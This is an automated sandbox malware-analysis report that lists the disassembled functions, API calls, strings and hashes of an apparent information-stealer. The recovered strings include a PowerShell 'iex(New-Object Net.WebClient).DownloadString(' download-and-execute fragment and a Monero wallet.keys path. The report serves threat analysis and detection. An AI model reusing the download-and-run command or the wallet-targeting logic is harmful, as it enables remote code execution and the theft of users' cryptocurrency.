Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F176A4
RtlAllocateHeap.NTDLL(00000000), ref: 00F176AB
RegOpenKeyExA.ADVAPI32(80000002,0089C8A8,00000000,00020119,00000000), ref: 00F176DD
RegQueryValueExA.ADVAPI32(00000000,008AEBB8,00000000,00000000,?,000000FF), ref: 00F176FE
RegCloseKey.ADVAPI32(00000000), ref: 00F17708

Strings

Windows 11, xrefs: 00F176BD

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: cd2309ba5f7ac48822a5b0e8b609b217a5359b4912c90c0510ad8161fc010faf
Instruction ID: 91bbdab40408effc7e75dcd58d8f73a1ecafc24d497f9dba79e52ed31caeea28
Opcode Fuzzy Hash: cd2309ba5f7ac48822a5b0e8b609b217a5359b4912c90c0510ad8161fc010faf
Instruction Fuzzy Hash: E20184B9A44304BBE714EBE0E849FAD77BCEF04B01F004064FA16D7285D67499809B50

Function 00F17720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F17734
RtlAllocateHeap.NTDLL(00000000), ref: 00F1773B
RegOpenKeyExA.ADVAPI32(80000002,0089C8A8,00000000,00020119,00F176B9), ref: 00F1775B
RegQueryValueExA.ADVAPI32(00F176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00F1777A
RegCloseKey.ADVAPI32(00F176B9), ref: 00F17784

Strings

CurrentBuildNumber, xrefs: 00F17771

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 7f2c895a1a16776dca72dd2718a7aff673366b29ad31e3770f7be37c1c3215b8
Instruction ID: 091302e43244f147f5f913cc769d486a4bf96061eabce54f89faac1fdb4d3653
Opcode Fuzzy Hash: 7f2c895a1a16776dca72dd2718a7aff673366b29ad31e3770f7be37c1c3215b8
Instruction Fuzzy Hash: C60167B9A40309BBE714DBE0EC49FAEB7BCEF44B01F004164FA16A7285DA755540CF51

Function 00F099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F09A11
LocalAlloc.KERNEL32(00000040,?), ref: 00F09A31
ReadFile.KERNEL32(000000FF,?,00000000,00F0148F,00000000), ref: 00F09A5A
LocalFree.KERNEL32(00F0148F), ref: 00F09A90
CloseHandle.KERNEL32(000000FF), ref: 00F09A9A

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 9ab746f6d8571042a1775b976b3c3e856bafa284c91201f871745848e61e6234
Instruction ID: ebd431bcb119139fc00a1b694d848d1b7c8eeb8543eea96de94c6021b2b8db28
Opcode Fuzzy Hash: 9ab746f6d8571042a1775b976b3c3e856bafa284c91201f871745848e61e6234
Instruction Fuzzy Hash: B3314D74E00209EFDB24CF94D885BAEB7B4FF48711F108158E912A72C0D779A981DFA0

Function 00F14780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,008AED50), ref: 00F147DB

Part of subcall function 00F18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F18E0B

lstrcat.KERNEL32(?,00000000), ref: 00F14801
lstrcat.KERNEL32(?,?), ref: 00F14820
lstrcat.KERNEL32(?,?), ref: 00F14834
lstrcat.KERNEL32(?,0089C1D8), ref: 00F14847
lstrcat.KERNEL32(?,?), ref: 00F1485B
lstrcat.KERNEL32(?,008ADF38), ref: 00F1486F

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F18D90: GetFileAttributesA.KERNEL32(00000000,?,00F01B54,?,?,00F2564C,?,?,00F20E1F), ref: 00F18D9F

Part of subcall function 00F14570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00F14580
Part of subcall function 00F14570: RtlAllocateHeap.NTDLL(00000000), ref: 00F14587
Part of subcall function 00F14570: wsprintfA.USER32 ref: 00F145A6
Part of subcall function 00F14570: FindFirstFileA.KERNEL32(?,?), ref: 00F145BD

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 25f0d44325d1d77c537af864cd17b0ea10e2842e2df507a9628a5cbef35af6a0
Instruction ID: 49f17edea16aa003cd57ee892a074524c06dc607bc95c2f34917f562cbfb124c
Opcode Fuzzy Hash: 25f0d44325d1d77c537af864cd17b0ea10e2842e2df507a9628a5cbef35af6a0
Instruction Fuzzy Hash: D03193BAD4020857DB24F7B0DC85EE9737CAF48B00F404598B31696081EE7897C99B91

Function 00F12C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

ShellExecuteEx.SHELL32(0000003C), ref: 00F12D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00F12D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00F12CC4
<, xrefs: 00F12D39
')", xrefs: 00F12CB3

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 33d69c62be5d97bcd8a43051a615279ba3224aa2fb97d9d3ad33caf3c51c062f
Instruction ID: e0e4d31072517a70cda190959de5c2aaa7d23005fc3dffe8e9d81557cc71a030
Opcode Fuzzy Hash: 33d69c62be5d97bcd8a43051a615279ba3224aa2fb97d9d3ad33caf3c51c062f
Instruction Fuzzy Hash: A741DE71C112089ADB14EBA0DD91FDDB774AF10310F404119E016A71D2EF796ACBEF92

Function 00F09E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00F09F41

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Strings

@, xrefs: 00F09EF1
v20, xrefs: 00F09E21
ERROR_RUN_EXTRACTOR, xrefs: 00F09E67
v10, xrefs: 00F09EA3

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 5c93924b093974b69b6aef0ca31022de496de186af808701972a5ae76fe3898a
Instruction ID: 317eb8245b85d95670afe6f7172e8864c285e8ba62c9f07008bee57a527e40fc
Opcode Fuzzy Hash: 5c93924b093974b69b6aef0ca31022de496de186af808701972a5ae76fe3898a
Instruction Fuzzy Hash: 94615C71A00248EBDB24EFA4DD96FED7775AF50310F008018F90A5F1C1EB786A46EB92

Function 00F140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,008AE0B8,00000000,00020119,?), ref: 00F140F4
RegQueryValueExA.ADVAPI32(?,008AECA8,00000000,00000000,00000000,000000FF), ref: 00F14118
RegCloseKey.ADVAPI32(?), ref: 00F14122
lstrcat.KERNEL32(?,00000000), ref: 00F14147
lstrcat.KERNEL32(?,008AED68), ref: 00F1415B

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 9922885f2b0c9e0d04f67fbd305c1f96862708b7117c81954de9a259622fd65c
Instruction ID: d31f0e7d22adabdfb004fd4fa33ef9291879cc265c4780986b2e122210732ce3
Opcode Fuzzy Hash: 9922885f2b0c9e0d04f67fbd305c1f96862708b7117c81954de9a259622fd65c
Instruction Fuzzy Hash: A441DABAD401086BDB28EBA0EC46FFE373DBB88700F044558B626571C5EA755BC89BD1

Function 00F16920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00F1696C
sscanf.NTDLL ref: 00F16999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00F169B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00F169C0
ExitProcess.KERNEL32 ref: 00F169DA

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9864edc1e743a82aaf647a0cff2552e959599e6c37aaa1b5127d6301f5f4d051
Instruction ID: 02f27ec1afceee5b2e307866cd9ad3d2488b6bc3c8265f4dec2131cc03d1d1b1
Opcode Fuzzy Hash: 9864edc1e743a82aaf647a0cff2552e959599e6c37aaa1b5127d6301f5f4d051
Instruction Fuzzy Hash: F0212CB5D00209ABDF08EFE4E9459EEB7B9FF48300F04852EE016E3244EB345645DB65

Function 00F17E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F17E37
RtlAllocateHeap.NTDLL(00000000), ref: 00F17E3E
RegOpenKeyExA.ADVAPI32(80000002,0089CB10,00000000,00020119,?), ref: 00F17E5E
RegQueryValueExA.ADVAPI32(?,008ADEF8,00000000,00000000,000000FF,000000FF), ref: 00F17E7F
RegCloseKey.ADVAPI32(?), ref: 00F17E92

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 7c85a5ac0fd2f64ea65c67d619e966ec3dfea4e87e815d7b41b926eed2c04ba7
Instruction ID: 7f597edcea16862c85f832635b8bfaced06f95c8a6b9948442fc33c1b4d88f2b
Opcode Fuzzy Hash: 7c85a5ac0fd2f64ea65c67d619e966ec3dfea4e87e815d7b41b926eed2c04ba7
Instruction Fuzzy Hash: B11191B6A84205EBD724DF94E849FBBBBB8EB04B11F104129F616A7284D77558409FA0

Function 00F19260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(008AEBE8,?,?,?,00F1140C,?,008AEBE8,00000000), ref: 00F1926C
lstrcpyn.KERNEL32(0114AB88,008AEBE8,008AEBE8,?,00F1140C,?,008AEBE8), ref: 00F19290
lstrlen.KERNEL32(?,?,00F1140C,?,008AEBE8), ref: 00F192A7
wsprintfA.USER32 ref: 00F192C7

Strings

%s%s, xrefs: 00F192B5

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 334a9097092bf165e0559df5cdab320e80cc3cce452b70975786af2fd2f3d901
Instruction ID: e264974ee88be872d284f93797d6008cf807173ec72861d93b07c6b33f909277
Opcode Fuzzy Hash: 334a9097092bf165e0559df5cdab320e80cc3cce452b70975786af2fd2f3d901
Instruction Fuzzy Hash: 28014C75540108FFCB18DFECE994EAE3BB9EF44751F118548F90A97204C631AA80DB90

Function 00F012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F012B4
RtlAllocateHeap.NTDLL(00000000), ref: 00F012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00F012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00F012F5
RegCloseKey.ADVAPI32(?), ref: 00F012FF

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
